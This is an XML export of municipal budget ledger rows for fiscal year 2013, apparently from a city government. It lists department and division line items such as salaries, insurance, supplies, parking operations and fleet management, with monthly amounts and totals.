<row _id="4177"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7842.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7842.0</total></row>
<row _id="4178"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16204.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16204.0</total></row>
<row _id="4179"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="4180"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1020.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1020.0</total></row>
<row _id="4181"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>561.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>561.0</total></row>
<row _id="4182"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15409.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15409.0</total></row>
<row _id="4183"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8098.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>81</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8179.0</total></row>
<row _id="4184"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5006.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5006.0</total></row>
<row _id="4185"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1020.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1020.0</total></row>
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<row _id="4200"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>115.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>115.0</total></row>
<row _id="4201"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>394.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>398.0</total></row>
<row _id="4202"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>138799.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1388</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>140187.0</total></row>
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<row _id="4206"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>137.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>137.0</total></row>
<row _id="4207"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>555.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>561.0</total></row>
<row _id="4208"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>660.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>660.0</total></row>
<row _id="4209"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400400.0</object><object_description>FIELD CONCESSION &amp; STORAGE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4210"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401002.0</object><object_description>SWIM CENTER-REC/LAP SWIM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4211"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401003.0</object><object_description>SWIM CENTER-SWIM PASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4212"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4457.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>45</february><march>0.0</march><april>-4502</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4213"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522115.0</object><object_description>UTIL-LIGHT/POWER-LIBRARY PARKI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>85545.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-85545</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4214"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>28376.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-28376</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4215"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1570.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-1570</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4216"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1751.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-1751</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4217"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>566910.0</object><object_description>MAINTENANCE-PARKING FACILITIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>117360.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-117360</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4218"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>523.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>523.0</total></row>
<row _id="4219"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555170.0</object><object_description>MONITORING COSTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>55000.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>58000.0</total></row>
<row _id="4220"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>400318.0</object><object_description>ATTENDANT PARKING-STRUCTRE 7&amp;8</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-3600000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-500000</february><march>0.0</march><april>4100000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4221"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560030.0</object><object_description>RAIN BARREL PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13000.0</total></row>
<row _id="4222"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="4223"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-200</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20200.0</total></row>
<row _id="4224"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402150.0</object><object_description>MORTUARY SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-275400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-275400.0</total></row>
<row _id="4225"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>566160.0</object><object_description>CANINE PROGRAM</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>27300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27300.0</total></row>
<row _id="4226"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3400.0</total></row>
<row _id="4227"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>405660.0</object><object_description>GLOW FOOD TRUCK REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-4200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4200.0</total></row>
<row _id="4228"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>58034.0</july><august>0</august><september>0.0</september><october>-2561.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>55473.0</total></row>
<row _id="4229"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="4230"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>40031.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40031.0</total></row>
<row _id="4231"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="4232"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533290.0</object><object_description>LANDSCAPE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="4233"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>401801.0</object><object_description>PROCEEDS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-68785.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-68785.0</total></row>
<row _id="4234"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402660.0</object><object_description>FUTURE REPLACEMENTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-4657443.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4657443.0</total></row>
<row _id="4235"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2031650.0</july><august>0</august><september>0.0</september><october>-4968.0</october><november>0</november><december>0</december><january>0.0</january><february>20267</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2046949.0</total></row>
<row _id="4236"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>410823.0</july><august>0</august><september>0.0</september><october>10000.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>420823.0</total></row>
<row _id="4237"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15198.0</july><august>0</august><september>0.0</september><october>-13.0</october><november>0</november><december>0</december><january>0.0</january><february>152</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15337.0</total></row>
<row _id="4238"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>313545.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>313545.0</total></row>
<row _id="4239"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="4240"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>120000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>120000.0</total></row>
